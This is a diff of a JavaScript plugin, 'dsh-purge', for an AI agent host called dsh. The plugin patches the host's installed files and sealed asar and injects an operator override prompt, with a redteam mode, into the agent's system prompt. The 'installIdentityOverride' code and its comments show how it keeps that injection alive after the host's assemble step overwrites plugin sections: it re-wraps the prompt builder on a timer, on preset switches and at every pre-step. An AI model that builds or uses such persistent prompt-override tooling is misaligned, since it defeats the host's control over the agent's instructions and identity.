|
||||
out.push(` ${fsExists(fp) ? "✓" : "✗"} ${key.padEnd(22)} ${shown}`);
|
||||
}
|
||||
} else {
|
||||
out.push(line("插件根 / plugin root", core.missingAiBaseMessage(), false));
|
||||
@@ -140,9 +161,9 @@ function renderStatus(state) {
|
||||
out.push(line("注入文件 / inject", state.override_path));
|
||||
out.push(line("注入状态 / override", state.override_status));
|
||||
out.push("");
|
||||
out.push(`补丁 / patches: ${state.patches_applied}/${state.patches_total || core.ALL_PATCHES.length} applied, ${state.patches_pending} pending`);
|
||||
out.push(`补丁 / patches: ${state.patches_applied}/${state.patches_total || 0} applied, ${state.patches_pending} pending`);
|
||||
for (const p of core.ALL_PATCHES) {
|
||||
const s = state.patch_status[p.id];
|
||||
const s = state.patch_status[p.id] || "n/a";
|
||||
const mark = s === "applied" ? "✓" : s === "pending" ? "✗" : "·";
|
||||
out.push(` ${mark} [#${String(p.id).padEnd(2)}] ${p.name.padEnd(30)} ${p.layer}/${p.layer_en} — ${s}`);
|
||||
}
|
||||
@@ -155,6 +176,17 @@ function injectAllowedNow(config) {
|
||||
return config.enabled !== false;
|
||||
}
|
||||
|
||||
/** 有磁盘提示词用磁盘,没有才用规则集,再没有就用内置默认。打开就能挂上。 */
|
||||
function refreshHungOperator(dshHome = core.findDshHome()) {
|
||||
const home = dshHome || core.findDshHome();
|
||||
if (home) {
|
||||
try { core.seedOverrideSync(home); } catch { /* 默认写不进去时,组装仍会用内存里的内置正文 */ }
|
||||
}
|
||||
const resolved = rules.resolveInjectText(home);
|
||||
core.hangOperatorPrompt(resolved.text);
|
||||
return resolved;
|
||||
}
|
||||
|
||||
function injectSnapshot(dshHome = core.findDshHome()) {
|
||||
const resolved = rules.resolveInjectText(dshHome);
|
||||
return {
|
||||
@@ -164,16 +196,19 @@ function injectSnapshot(dshHome = core.findDshHome()) {
|
||||
};
|
||||
}
|
||||
|
||||
/** 以设置页文本框为准;空框且没有启用中的规则集则必须补提示词。 */
|
||||
/** 框里有字用框;空框才看规则集;都没有就用内置默认,不要求先点保存。 */
|
||||
function injectSnapshotFromBox(dshHome, boxText) {
|
||||
const ruleId = rules.activeRuleId(dshHome);
|
||||
if (typeof boxText === "string" && core.normalizeOverride(boxText)) {
|
||||
return { injectSource: "prompt", injectRuleId: null, needPrompt: false };
|
||||
}
|
||||
if (core.normalizeOverride(rules.activeRuleText(dshHome))) {
|
||||
return { injectSource: "rule", injectRuleId: ruleId, needPrompt: false };
|
||||
}
|
||||
if (typeof boxText !== "string") return injectSnapshot(dshHome);
|
||||
if (core.normalizeOverride(boxText)) {
|
||||
return { injectSource: "prompt", injectRuleId: null, needPrompt: false };
|
||||
if (core.normalizeOverride(core.defaultOverrideText())) {
|
||||
return { injectSource: "default", injectRuleId: null, needPrompt: false };
|
||||
}
|
||||
if (typeof boxText !== "string") return injectSnapshot(dshHome);
|
||||
return { injectSource: "none", injectRuleId: ruleId, needPrompt: true };
|
||||
}
|
||||
|
||||
@@ -186,24 +221,51 @@ function rejectIfNeedPrompt(dshHome, boxText) {
|
||||
}
|
||||
|
||||
async function ensureRestartReady() {
|
||||
const inject = rules.resolveInjectText(core.findDshHome());
|
||||
if (!inject.text) return { ok: false, error: "没有可注入的提示词,已取消重启" };
|
||||
return core.ensureHostClean();
|
||||
const clean = await core.ensureHostClean();
|
||||
if (clean.ok) return clean;
|
||||
// 密封 asar 读的是旧包,清洗写在解包目录;允许换包重启,注入靠 assemble 包装。
|
||||
try {
|
||||
if (core.desktopAsarStillSealed()) return { ok: true, pending: clean.pending || [] };
|
||||
} catch { /* 非桌面 */ }
|
||||
return clean;
|
||||
}
|
||||
|
||||
/** 提示词服务自己的 ctx 多半没有 scope,段会进全局层。插件若挂在某个 scope 上,预设代理的父链看不到那一层。 */
|
||||
function addPromptSection(ctx, section) {
|
||||
const hosts = [];
|
||||
const push = (host) => {
|
||||
if (host && !hosts.includes(host)) hosts.push(host);
|
||||
};
|
||||
try { push(ctx?.systemPrompt?.ctx); } catch { /* 代理未注入时点属性会抛 */ }
|
||||
push(ctx);
|
||||
let registered = false;
|
||||
let lastError = null;
|
||||
for (const host of hosts) {
|
||||
try {
|
||||
host.systemPrompt.section(section);
|
||||
registered = true;
|
||||
} catch (error) {
|
||||
const msg = String(error && error.message || error);
|
||||
if (msg.includes("already registered")) registered = true;
|
||||
else lastError = error;
|
||||
}
|
||||
}
|
||||
if (!registered && lastError) throw lastError;
|
||||
}
|
||||
|
||||
export function registerPromptSections(ctx, config, _injectFile) {
|
||||
ctx.systemPrompt.section({
|
||||
addPromptSection(ctx, {
|
||||
name: "dsh-purge",
|
||||
order: GLOBAL_PROMPT_ORDER + 1,
|
||||
interpolate: false,
|
||||
text: (context) => {
|
||||
if (!injectAllowedNow(config)) return "";
|
||||
return rules.resolveModeInject(core.findDshHome(), isRedteamSession(context));
|
||||
return readInjectFallback(context);
|
||||
},
|
||||
});
|
||||
|
||||
if (config.capabilityProtocol !== false) {
|
||||
ctx.systemPrompt.section({
|
||||
addPromptSection(ctx, {
|
||||
name: CAPABILITY_SECTION,
|
||||
order: GLOBAL_PROMPT_ORDER,
|
||||
interpolate: false,
|
||||
@@ -232,7 +294,13 @@ export function registerPromptSections(ctx, config, _injectFile) {
|
||||
}
|
||||
|
||||
function readInjectFallback(context) {
|
||||
return rules.resolveModeInject(core.findDshHome(), isRedteamSession(context));
|
||||
let home = "";
|
||||
try { home = core.findDshHome(); } catch { home = ""; }
|
||||
const raw = rules.ensureOperatorBody(home);
|
||||
if (!raw) return "";
|
||||
let redteam = false;
|
||||
try { redteam = isRedteamSession(context); } catch { redteam = false; }
|
||||
return modePromptText(raw, redteam);
|
||||
}
|
||||
|
||||
function installMnemonMessageStrip(ctx, config = {}) {
|
||||
@@ -273,6 +341,21 @@ function rewriteLiveAssembly(config, assembled, context) {
|
||||
});
|
||||
}
|
||||
|
||||
/** 注册表若已经按旧文件算过 rev,立刻 rebuilt,让页面拿到的地址和缓存一致(#63)。 */
|
||||
function publishClientBundleRevs(ctx, packageNames) {
|
||||
if (!Array.isArray(packageNames) || packageNames.length === 0) return;
|
||||
let mods = null;
|
||||
try {
|
||||
mods = ctx?.get?.("clientModules", false);
|
||||
} catch {
|
||||
mods = null;
|
||||
}
|
||||
if (!mods || typeof mods.rebuilt !== "function") return;
|
||||
for (const id of packageNames) {
|
||||
try { mods.rebuilt(id); } catch { /* 这一包还没进注册表,下次快照会读到新文件 */ }
|
||||
}
|
||||
}
|
||||
|
||||
/** Cordis 的 ctx 是 Proxy:未声明 inject 时点属性会抛 "cannot get property ... without inject",所以两段都要包 try。 */
|
||||
function permissionPresetsOf(ctx) {
|
||||
try {
|
||||
@@ -343,25 +426,59 @@ function installRewindDeriveFilter(ctx) {
|
||||
function installIdentityOverride(ctx, config = {}) {
|
||||
if (typeof ctx.on !== "function") return;
|
||||
installSubagentRoleCapture(ctx);
|
||||
if (ctx.__dshPurgeAssembleHook) return;
|
||||
ctx.__dshPurgeAssembleHook = true;
|
||||
const hook = async (_assembly, context, next) => {
|
||||
const assembled = typeof next === "function" ? await next() : _assembly;
|
||||
return rewriteLiveAssembly(config, assembled, context);
|
||||
const wrapAssemble = () => {
|
||||
try {
|
||||
return installAssembleGuard(ctx.systemPrompt, (assembled, context) => (
|
||||
rewriteLiveAssembly(config, assembled, context)
|
||||
));
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
// 只挂一次。不改 contexts,不改 pre-step 白名单,梁神 phase-1 和其它插件的消息原样保留。
|
||||
ctx.on("system-prompt/assemble", hook, { global: true, prepend: true });
|
||||
// 0.1.5 起 complete:true 在 waterfall 之后用调用前的快照盖掉 sections。
|
||||
// 换宿主版本时文件补丁还没写上,或换插件版本时旧钩子把 dsh-purge 段删掉,注入都会丢。
|
||||
// 包住 assemble 的返回值,按 prompt-inject.md 再补回。
|
||||
const prompt = ctx.systemPrompt;
|
||||
if (!prompt || typeof prompt.assemble !== "function" || prompt.__dshPurgeAssembleWrapped) return;
|
||||
const orig = prompt.assemble;
|
||||
prompt.assemble = async function (...args) {
|
||||
const assembled = await orig.apply(this, args);
|
||||
return rewriteLiveAssembly(config, assembled, args[0]);
|
||||
if (!ctx.__dshPurgeAssembleHook) {
|
||||
ctx.__dshPurgeAssembleHook = true;
|
||||
ctx.on("system-prompt/assemble", async (_assembly, context, next) => {
|
||||
const assembled = typeof next === "function" ? await next() : _assembly;
|
||||
return rewriteLiveAssembly(config, assembled, context);
|
||||
}, { global: true, prepend: true });
|
||||
}
|
||||
// 切换预设会换掉 assemble。pre-step 瀑布在 assemble 之后才跑,第一次发送包不上。
|
||||
// 宿主在 assemble 之前调用这个函数,用的就是当前模式自己的 systemPrompt。
|
||||
const prepareAssemble = (loopCtx) => {
|
||||
try { rules.ensureOperatorBody(core.findDshHome()); } catch { /* 主目录还没有提示词 */ }
|
||||
const prompt = loopCtx && loopCtx.systemPrompt;
|
||||
if (prompt) {
|
||||
try {
|
||||
installAssembleGuard(prompt, (assembled, context) => (
|
||||
rewriteLiveAssembly(config, assembled, context)
|
||||
));
|
||||
} catch { /* 这一层代理包不上时,下面再包插件自己的 */ }
|
||||
}
|
||||
wrapAssemble();
|
||||
};
|
||||
prompt.__dshPurgeAssembleWrapped = true;
|
||||
globalThis.__dshPurgePrepareAssemble = prepareAssemble;
|
||||
// complete:true 会在 waterfall 之后盖掉 sections;包住 assemble 返回值,每轮都补回注入。
|
||||
wrapAssemble();
|
||||
const started = Date.now();
|
||||
const timer = setInterval(() => {
|
||||
wrapAssemble();
|
||||
if (Date.now() - started > 20000) clearInterval(timer);
|
||||
}, 400);
|
||||
if (typeof timer.unref === "function") timer.unref();
|
||||
try { ctx.effect(() => () => clearInterval(timer)); } catch { /* 无 effect 时靠 unref */ }
|
||||
try { ctx.on("session/created", wrapAssemble); } catch { /* ignore */ }
|
||||
try {
|
||||
ctx.on("agent-preset/selected", () => {
|
||||
try { rules.ensureOperatorBody(core.findDshHome()); } catch { /* 主目录还没有提示词 */ }
|
||||
wrapAssemble();
|
||||
}, { global: true });
|
||||
} catch { /* ignore */ }
|
||||
try {
|
||||
ctx.on("agent/pre-step", (payload, next) => {
|
||||
wrapAssemble();
|
||||
return typeof next === "function" ? next() : payload;
|
||||
}, { global: true, prepend: true });
|
||||
} catch { /* ignore */ }
|
||||
}
|
||||
|
||||
function shimNeedsPatch(state) {
|
||||
@@ -373,53 +490,109 @@ function shimNeedsPatch(state) {
|
||||
);
|
||||
}
|
||||
|
||||
async function settleInstalledPatches(config, ctx) {
|
||||
function currentSettleScope() {
|
||||
let sealed = false;
|
||||
try { sealed = core.desktopAsarStillSealed(); } catch { /* 非桌面或还没定位安装目录 */ }
|
||||
return { surface: hostctl.currentSurface(), sealed };
|
||||
}
|
||||
|
||||
async function settleInstalledPatches(config, ctx, life) {
|
||||
if (life && !life.alive) return "skip:inactive";
|
||||
try { core.rememberUnpackedArchive(); } catch { /* 没有官方安装目录时不必记归档 */ }
|
||||
if (officialUpdate.upgradeMarkerExists(process.execPath)) {
|
||||
const upgraded = await reapply.reapplyInstalled({ scheduleSwap: false, upgrade: true });
|
||||
if (!upgraded.ok) {
|
||||
log(config, "official upgrade reapply failed:", upgraded.error || "");
|
||||
return "reapply-failed";
|
||||
}
|
||||
officialUpdate.clearUpgradeMarker(process.execPath);
|
||||
officialUpdate.clearStaleExtractedApps(process.execPath);
|
||||
log(config, "official upgrade reapplied; restarting onto the new build");
|
||||
try {
|
||||
hostctl.scheduleRestart(null, ctx);
|
||||
} catch (e) {
|
||||
log(config, "restart after official upgrade failed:", String(e && e.message ? e.message : e));
|
||||
return "restart-failed";
|
||||
}
|
||||
return "restarting";
|
||||
try {
|
||||
reapply.ensureInstalledRevSeed();
|
||||
} catch (e) {
|
||||
log(config, "seed installed-rev failed:", String(e && e.message ? e.message : e));
|
||||
}
|
||||
try {
|
||||
if (reapply.healEmptyAppliedStamp()) log(config, "healed empty applied stamp");
|
||||
} catch (e) {
|
||||
log(config, "heal applied stamp failed:", String(e && e.message ? e.message : e));
|
||||
}
|
||||
|
||||
const scope = currentSettleScope();
|
||||
if (!reapply.patchesMatchInstall()) {
|
||||
const result = await reapply.reapplyInstalled();
|
||||
if (!settleMayReapply(scope)) {
|
||||
log(config, "sealed desktop: skip startup reapply (wait for Apply)");
|
||||
return "skip:sealed-wait-apply";
|
||||
}
|
||||
if (await reapply.hostCleanEnoughToKeep()) {
|
||||
reapply.markPatchesApplied();
|
||||
log(config, "host already clean; kept patches and refreshed stamp");
|
||||
return "already-clean";
|
||||
}
|
||||
if (officialUpdate.upgradeMarkerExists(process.execPath)) {
|
||||
const upgraded = await reapply.reapplyInstalled({ scheduleSwap: false, upgrade: true });
|
||||
if (life && !life.alive) return "skip:inactive";
|
||||
if (!upgraded.ok) {
|
||||
log(config, "official upgrade reapply failed:", upgraded.error || "");
|
||||
return "reapply-failed";
|
||||
}
|
||||
officialUpdate.clearUpgradeMarker(process.execPath);
|
||||
officialUpdate.clearStaleExtractedApps(process.execPath);
|
||||
if (!settleMayRestart(currentSettleScope()) || reapply.shouldSkipSettleRestart()) {
|
||||
if (upgraded.needsFullQuit) bootFullQuit = true;
|
||||
log(config, "official upgrade reapplied; skip settle restart");
|
||||
return "reapplied-no-restart";
|
||||
}
|
||||
reapply.markSettleRestart();
|
||||
log(config, "official upgrade reapplied; restarting onto the new build");
|
||||
try {
|
||||
hostctl.scheduleRestart(null, ctx, { openBrowser: false });
|
||||
} catch (e) {
|
||||
log(config, "restart after official upgrade failed:", String(e && e.message ? e.message : e));
|
||||
return "restart-failed";
|
||||
}
|
||||
return "restarting";
|
||||
}
|
||||
|
||||
// 启动自愈只写盘,不 swap asar / 不杀进程,避免官方 Host Fiber._reload 撞 INACTIVE_EFFECT。
|
||||
const result = await reapply.reapplyInstalled({ scheduleSwap: false });
|
||||
if (life && !life.alive) return "skip:inactive";
|
||||
if (!result.ok) {
|
||||
log(config, "reapply failed:", result.error || "");
|
||||
return "reapply-failed";
|
||||
}
|
||||
// reapply 成功后强制保证非空戳,避免 clean 路径漏写又空转(#59/#60)。
|
||||
try { reapply.markPatchesApplied(); } catch { /* ignore */ }
|
||||
if (result.needsFullQuit) {
|
||||
bootFullQuit = true;
|
||||
log(config, "reapply wrote patches; official host needs a full quit");
|
||||
return "full-quit";
|
||||
}
|
||||
if (!settleMayRestart(currentSettleScope())) {
|
||||
log(config, "reapply wrote patches; desktop settle does not restart");
|
||||
return "reapplied-no-restart";
|
||||
}
|
||||
if (reapply.shouldSkipSettleRestart()) {
|
||||
log(config, "reapply wrote patches; skip settle restart (cooldown)");
|
||||
return "reapplied-no-restart";
|
||||
}
|
||||
// 已对齐则不必再重启;只在 stamp/宿主仍不一致时重启一次。
|
||||
if (reapply.patchesMatchInstall()) {
|
||||
log(config, "reapply wrote patches; already aligned, no restart");
|
||||
return "reapplied";
|
||||
}
|
||||
reapply.markSettleRestart();
|
||||
log(config, "reapply wrote patches; restarting");
|
||||
try {
|
||||
hostctl.scheduleRestart(null, ctx);
|
||||
// web:自愈重启不弹浏览器,关窗后不应再被反复拉起新窗口(#59/#61)。
|
||||
hostctl.scheduleRestart(null, ctx, { openBrowser: false });
|
||||
} catch (e) {
|
||||
log(config, "restart after reapply failed:", String(e && e.message ? e.message : e));
|
||||
return "restart-failed";
|
||||
}
|
||||
return "restarting";
|
||||
}
|
||||
|
||||
const applied = await autoApply(config);
|
||||
if (config.autoUpdateOnStart === true) {
|
||||
updater.autoUpdateIfNeeded()
|
||||
.then((r) => {
|
||||
log(config, "auto-update:", JSON.stringify(r));
|
||||
if (r && r.needsFullQuit) bootFullQuit = true;
|
||||
if (r && r.restartAfter) {
|
||||
try { hostctl.scheduleRestart(null, ctx); } catch (e) {
|
||||
if (r && r.restartAfter && settleMayRestart(currentSettleScope())) {
|
||||
try { hostctl.scheduleRestart(null, ctx, { openBrowser: false }); } catch (e) {
|
||||
console.warn("[dsh-purge] auto-update restart failed:", e);
|
||||
}
|
||||
}
|
||||
@@ -436,7 +609,6 @@ async function autoApply(config) {
|
||||
if (sanitized.length) log(config, "desktop runtime sanitized:", JSON.stringify(sanitized));
|
||||
|
||||
const state = await core.gatherState();
|
||||
await core.installOverride(state.dsh_home, false);
|
||||
if (!state.ai_base) {
|
||||
log(config, "skip auto-apply: plugin root not found");
|
||||
return "skip:plugin_root_not_found";
|
||||
@@ -464,7 +636,7 @@ async function autoApply(config) {
|
||||
return "disabled";
|
||||
}
|
||||
await core.backupAll(state.ai_base);
|
||||
const report = await core.applyPatches(state.ai_base);
|
||||
const report = await core.applyPatches(state.ai_base, core.ALL_PATCHES, { preserveClientBundles: true });
|
||||
await core.patchAllShims();
|
||||
const flash = core.silenceCmdFlash(state.ai_base);
|
||||
const applied = report.filter((r) => r.status === "applied").length;
|
||||
@@ -476,6 +648,25 @@ async function autoApply(config) {
|
||||
}
|
||||
}
|
||||
|
||||
/** 应用之后的那一次重启。密封包退出再打开,不再干等用户自己退出。 */
|
||||
function scheduleApplyRestart(shouldRestart) {
|
||||
if (!shouldRestart) return { restarting: false };
|
||||
if (core.desktopAsarStillSealed()) {
|
||||
const planned = core.restartSealedDesktopIfNeeded();
|
||||
return {
|
||||
...(planned || {}),
|
||||
restarting: Boolean(planned && (planned.restarting || planned.asarSwap)),
|
||||
};
|
||||
}
|
||||
try {
|
||||
const planned = hostctl.scheduleRestart(null, null);
|
||||
if (planned && (planned.restarting === false || planned.clean === false)) return planned;
|
||||
return planned || { restarting: true };
|
||||
} catch (error) {
|
||||
return { restarting: false, error: String(error && error.message ? error.message : error) };
|
||||
}
|
||||
}
|
||||
|
||||
async function handlePurgeCommand(rawInput, config) {
|
||||
const args = (rawInput || "").trim().split(/\s+/).filter(Boolean);
|
||||
const sub = (args[0] || "status").toLowerCase();
|
||||
@@ -490,23 +681,19 @@ async function handlePurgeCommand(rawInput, config) {
|
||||
case "a": {
|
||||
core.applyRuntimeEnv();
|
||||
core.clearDesktopLocateCache();
|
||||
const home = core.pinDshHome();
|
||||
const scrubbed = core.sanitizeDesktopCommandRuntimes();
|
||||
const state = await core.gatherState();
|
||||
let handoff = null;
|
||||
if (home) state.dsh_home = home;
|
||||
if (!state.ai_base) {
|
||||
const opened = await core.openSealedDesktopHost();
|
||||
if (!opened.aiBase) return { kind: "error", text: core.missingAiBaseMessage() };
|
||||
state.ai_base = opened.aiBase;
|
||||
if (opened.swapAsar) handoff = opened;
|
||||
} else {
|
||||
handoff = core.sealedAsarHandoff();
|
||||
}
|
||||
core.seedOverrideSync(state.dsh_home);
|
||||
await core.ensureOverrideContent(state.dsh_home, false);
|
||||
const blocked = rejectIfNeedPrompt(state.dsh_home);
|
||||
if (blocked) return { kind: "error", text: blocked.error };
|
||||
await core.backupAll(state.ai_base);
|
||||
const report = await core.applyPatches(state.ai_base);
|
||||
const report = await core.applyPatches(state.ai_base, core.ALL_PATCHES, { preserveClientBundles: true });
|
||||
const shimResult = await core.patchAllShims();
|
||||
const flash = core.silenceCmdFlash(state.ai_base);
|
||||
const lines = report.map((r) => {
|
||||
@@ -522,13 +709,26 @@ async function handlePurgeCommand(rawInput, config) {
|
||||
lines.push("", "Desktop in-bin .bak scrub:");
|
||||
for (const row of scrubbed) lines.push(` ✓ ${row.dir} → ${row.cleaned.join(", ")}`);
|
||||
}
|
||||
lines.push("", "全部完成 / All done。重启 dsh 生效 / Restart dsh to take effect.");
|
||||
lines.push("Desktop: host-commands 密封目录只清理不注入;bak 禁止写进 bin(issue #9)。");
|
||||
if (handoff) {
|
||||
const swapped = core.scheduleSealedDesktopRestart(handoff);
|
||||
if (swapped?.renamed || swapped?.pending) {
|
||||
lines.push("", "补丁已写入。请在设置页点「重启」,客户端会自己重新打开。");
|
||||
}
|
||||
const summary = core.summarizeApplyReport(report);
|
||||
const complete = summary.failed.length === 0 && flash.ok === true;
|
||||
const shouldRestart = applyShouldRestart({
|
||||
complete,
|
||||
sealed: core.desktopAsarStillSealed(),
|
||||
appliedCount: summary.applied,
|
||||
});
|
||||
if (shouldRestart) reapply.markSettleRestart();
|
||||
const planned = scheduleApplyRestart(shouldRestart);
|
||||
if (planned && planned.clean === false) {
|
||||
lines.push("", "清洗没有写进当前宿主,已取消重启。");
|
||||
} else if (planned && planned.restarting === false && planned.error) {
|
||||
lines.push("", String(planned.error));
|
||||
} else if (shouldRestart && planned && planned.restarting !== false) {
|
||||
lines.push("", "正在重启。");
|
||||
} else if (!complete) {
|
||||
lines.push("", "清洗没有完成,没有重启。");
|
||||
} else {
|
||||
lines.push("", "补丁已经在宿主里,不再重启。");
|
||||
}
|
||||
return { kind: "success", text: lines.join("\n") };
|
||||
}
|
||||
@@ -639,6 +839,7 @@ async function handleRulesCommand(rawInput) {
|
||||
if (!id) return { kind: "error", text: "用法: /rules use <id>" };
|
||||
try {
|
||||
const meta = await rules.activateRule(dshHome, id);
|
||||
refreshHungOperator(dshHome);
|
||||
return {
|
||||
kind: "success",
|
||||
text: `✓ 已激活规则 ${meta.name}(${id})→ 写入 ${rules.targetPath(dshHome, meta.target)},并注入 systemPrompt。新会话生效。`,
|
||||
@@ -674,6 +875,7 @@ async function handleRulesCommand(rawInput) {
|
||||
if (!id) return { kind: "error", text: "用法: /rules delete <id>" };
|
||||
try {
|
||||
await rules.deleteRule(dshHome, id);
|
||||
refreshHungOperator(dshHome);
|
||||
return { kind: "success", text: `✓ 已删除规则 ${id}。` };
|
||||
} catch (e) {
|
||||
return { kind: "error", text: `删除失败: ${e.message}` };
|
||||
@@ -684,6 +886,7 @@ async function handleRulesCommand(rawInput) {
|
||||
case "还原": {
|
||||
try {
|
||||
const r = await rules.resetToOriginal(dshHome);
|
||||
refreshHungOperator(dshHome);
|
||||
const lines = [];
|
||||
if (r.removed.length > 0) lines.push(`✓ 已删除插件写入的目标文件: ${r.removed.join(", ")}`);
|
||||
if (r.skipped.length > 0) {
|
||||
@@ -814,6 +1017,11 @@ async function handleSkillsCommand(rawInput) {
|
||||
export function apply(ctx, config) {
|
||||
const cfg = { ...DEFAULTS, ...(config || {}) };
|
||||
if (!cfg.enabled) return;
|
||||
const life = watchContextLife(ctx);
|
||||
if (!life.alive) {
|
||||
console.warn("[dsh-purge] skip apply: inactive context");
|
||||
return;
|
||||
}
|
||||
log(cfg, "plugin enabled");
|
||||
|
||||
try {
|
||||
@@ -823,6 +1031,18 @@ export function apply(ctx, config) {
|
||||
console.warn("[dsh-purge] hide-console error:", String(e));
|
||||
}
|
||||
core.applyRuntimeEnv();
|
||||
// 页面打开前写前端 client.js。settle 在数秒之后,那时再写会让已发出的 rev 404(#63)。
|
||||
try {
|
||||
const written = core.patchWatchedClientBundlesSync();
|
||||
publishClientBundleRevs(ctx, written);
|
||||
if (written.length) log(cfg, "client bundles patched before page:", written.join(","));
|
||||
} catch (e) {
|
||||
console.warn("[dsh-purge] client bundle boot patch:", String(e && e.message ? e.message : e));
|
||||
}
|
||||
try {
|
||||
const home = core.pinDshHome() || core.findDshHome();
|
||||
refreshHungOperator(home);
|
||||
} catch { /* 主目录还没有提示词时,组装会再挂内置默认 */ }
|
||||
try {
|
||||
const scrubbed = core.sanitizeDesktopCommandRuntimes();
|
||||
if (scrubbed.length) log(cfg, "desktop runtime scrub on load:", JSON.stringify(scrubbed));
|
||||
@@ -830,20 +1050,47 @@ export function apply(ctx, config) {
|
||||
console.warn("[dsh-purge] desktop runtime scrub error:", String(e));
|
||||
}
|
||||
|
||||
setImmediate(() => {
|
||||
settleInstalledPatches(cfg, ctx)
|
||||
const settleTimer = setTimeout(() => {
|
||||
if (!life.alive) {
|
||||
log(cfg, "settle skipped: inactive context");
|
||||
return;
|
||||
}
|
||||
settleInstalledPatches(cfg, ctx, life)
|
||||
.then((r) => log(cfg, "settle:", r))
|
||||
.catch((e) => console.warn("[dsh-purge] settle error:", String(e)));
|
||||
.catch((e) => {
|
||||
if (isInactiveContextError(e)) {
|
||||
log(cfg, "settle skipped: inactive context");
|
||||
return;
|
||||
}
|
||||
console.warn("[dsh-purge] settle error:", String(e));
|
||||
});
|
||||
rules.ensureInitialState(core.findDshHome())
|
||||
.then((r) => log(cfg, "rules init:", JSON.stringify(r)))
|
||||
.catch((e) => console.warn("[dsh-purge] rules init error:", String(e)));
|
||||
});
|
||||
}, settleDelayMs(hostctl.currentSurface()));
|
||||
try {
|
||||
ctx.effect(() => () => clearTimeout(settleTimer));
|
||||
} catch (e) {
|
||||
if (isInactiveContextError(e)) {
|
||||
clearTimeout(settleTimer);
|
||||
console.warn("[dsh-purge] skip apply: inactive context");
|
||||
return;
|
||||
}
|
||||
throw e;
|
||||
}
|
||||
|
||||
try {
|
||||
core.seedOverrideSync(core.findDshHome());
|
||||
applyHostHooks(ctx, cfg);
|
||||
} catch (e) {
|
||||
console.warn("[dsh-purge] seed override error:", String(e));
|
||||
if (isInactiveContextError(e)) {
|
||||
console.warn("[dsh-purge] skip apply: inactive context");
|
||||
return;
|
||||
}
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
function applyHostHooks(ctx, cfg) {
|
||||
installIdentityOverride(ctx, cfg);
|
||||
installRegionGate(ctx);
|
||||
try {
|
||||
@@ -971,12 +1218,10 @@ export function apply(ctx, config) {
|
||||
const scrubbed = core.sanitizeDesktopCommandRuntimes();
|
||||
const state = await core.gatherState();
|
||||
if (!state.ai_base) return { text: "ERROR: " + core.missingAiBaseMessage() };
|
||||
core.seedOverrideSync(state.dsh_home);
|
||||
await core.ensureOverrideContent(state.dsh_home, false);
|
||||
const blocked = rejectIfNeedPrompt(state.dsh_home);
|
||||
if (blocked) return { text: "ERROR: " + blocked.error };
|
||||
await core.backupAll(state.ai_base);
|
||||
const report = await core.applyPatches(state.ai_base);
|
||||
const report = await core.applyPatches(state.ai_base, core.ALL_PATCHES, { preserveClientBundles: true });
|
||||
await core.patchAllShims();
|
||||
const flash = core.silenceCmdFlash(state.ai_base);
|
||||
const applied = report.filter((r) => r.status === "applied").length;
|
||||
@@ -1102,9 +1347,16 @@ function installWebServer(ctx, cfg) {
|
||||
patches_applied: state.patches_applied,
|
||||
patches_pending: state.patches_pending,
|
||||
patches_skipped: state.patches_skipped || 0,
|
||||
patches_ready: state.patches_ready || 0,
|
||||
patches_na: state.patches_na || 0,
|
||||
patches_total: state.patches_total || core.ALL_PATCHES.length,
|
||||
patches_total: state.ai_base ? (state.patches_total || 0) : 0,
|
||||
patches_lost: reapply.patchesLostAfterHostReset(),
|
||||
patch_status: state.patch_status,
|
||||
patches: core.ALL_PATCHES.map((p) => ({
|
||||
id: p.id,
|
||||
layer: p.layer || "",
|
||||
status: state.patch_status[p.id] || (state.ai_base ? "missing_file" : "unlocated"),
|
||||
})).filter((p) => p.status !== "na"),
|
||||
patch_names,
|
||||
shim_cmd: state.shim_cmd,
|
||||
shim_ps1: state.shim_ps1,
|
||||
@@ -1309,10 +1561,14 @@ function installWebServer(ctx, cfg) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const body = await readJsonBody(request);
|
||||
const incoming = typeof body?.content === "string" ? body.content : null;
|
||||
core.applyRuntimeEnv();
|
||||
core.clearDesktopLocateCache();
|
||||
const home = core.pinDshHome();
|
||||
const scrubbed = core.sanitizeDesktopCommandRuntimes();
|
||||
const state = await core.gatherState();
|
||||
if (home) state.dsh_home = home;
|
||||
let handoff = null;
|
||||
if (!state.ai_base) {
|
||||
const opened = await core.openSealedDesktopHost();
|
||||
@@ -1325,52 +1581,53 @@ function installWebServer(ctx, cfg) {
|
||||
} else {
|
||||
handoff = core.sealedAsarHandoff();
|
||||
}
|
||||
const body = await readJsonBody(request);
|
||||
// 点应用就落下默认提示词;框空时用内置默认,不必先点保存。
|
||||
core.seedOverrideSync(state.dsh_home);
|
||||
await core.ensureOverrideContent(state.dsh_home, false);
|
||||
const ui = await core.readOverrideForUi(state.dsh_home);
|
||||
const incoming = typeof body?.content === "string" ? body.content : "";
|
||||
const boxText = core.normalizeOverride(incoming)
|
||||
? incoming
|
||||
: (ui.content || ui.defaultContent || "");
|
||||
const blocked = rejectIfNeedPrompt(state.dsh_home, boxText);
|
||||
const blocked = rejectIfNeedPrompt(state.dsh_home, incoming === null ? undefined : incoming);
|
||||
if (blocked) {
|
||||
const ui = await core.readOverrideForUi(state.dsh_home);
|
||||
sendJson(response, 400, {
|
||||
ok: false,
|
||||
needPrompt: true,
|
||||
override_content: boxText,
|
||||
override_content: incoming || "",
|
||||
defaultContent: ui.defaultContent,
|
||||
...blocked,
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (core.normalizeOverride(boxText)) {
|
||||
await core.saveOverrideContent(state.dsh_home, boxText);
|
||||
if (incoming !== null && core.normalizeOverride(incoming)) {
|
||||
await core.saveOverrideContent(state.dsh_home, incoming);
|
||||
}
|
||||
refreshHungOperator(state.dsh_home);
|
||||
await core.backupAll(state.ai_base);
|
||||
const report = await core.applyPatches(state.ai_base);
|
||||
const report = await core.applyPatches(state.ai_base, core.ALL_PATCHES, { preserveClientBundles: true });
|
||||
const override = await core.readOverrideForUi(state.dsh_home);
|
||||
const shim = await core.patchAllShims();
|
||||
let cliRepair = null;
|
||||
try {
|
||||
cliRepair = core.repairOfficialCliAfterUnpack();
|
||||
} catch (e) {
|
||||
cliRepair = { ok: false, error: String(e && e.message ? e.message : e) };
|
||||
}
|
||||
const flash = core.silenceCmdFlash(state.ai_base);
|
||||
const summary = core.summarizeApplyReport(report);
|
||||
const complete = summary.failed.length === 0 && flash.ok === true;
|
||||
let renamed = false;
|
||||
let pendingQuit = false;
|
||||
if (handoff) {
|
||||
if (core.desktopAsarStillSealed()) {
|
||||
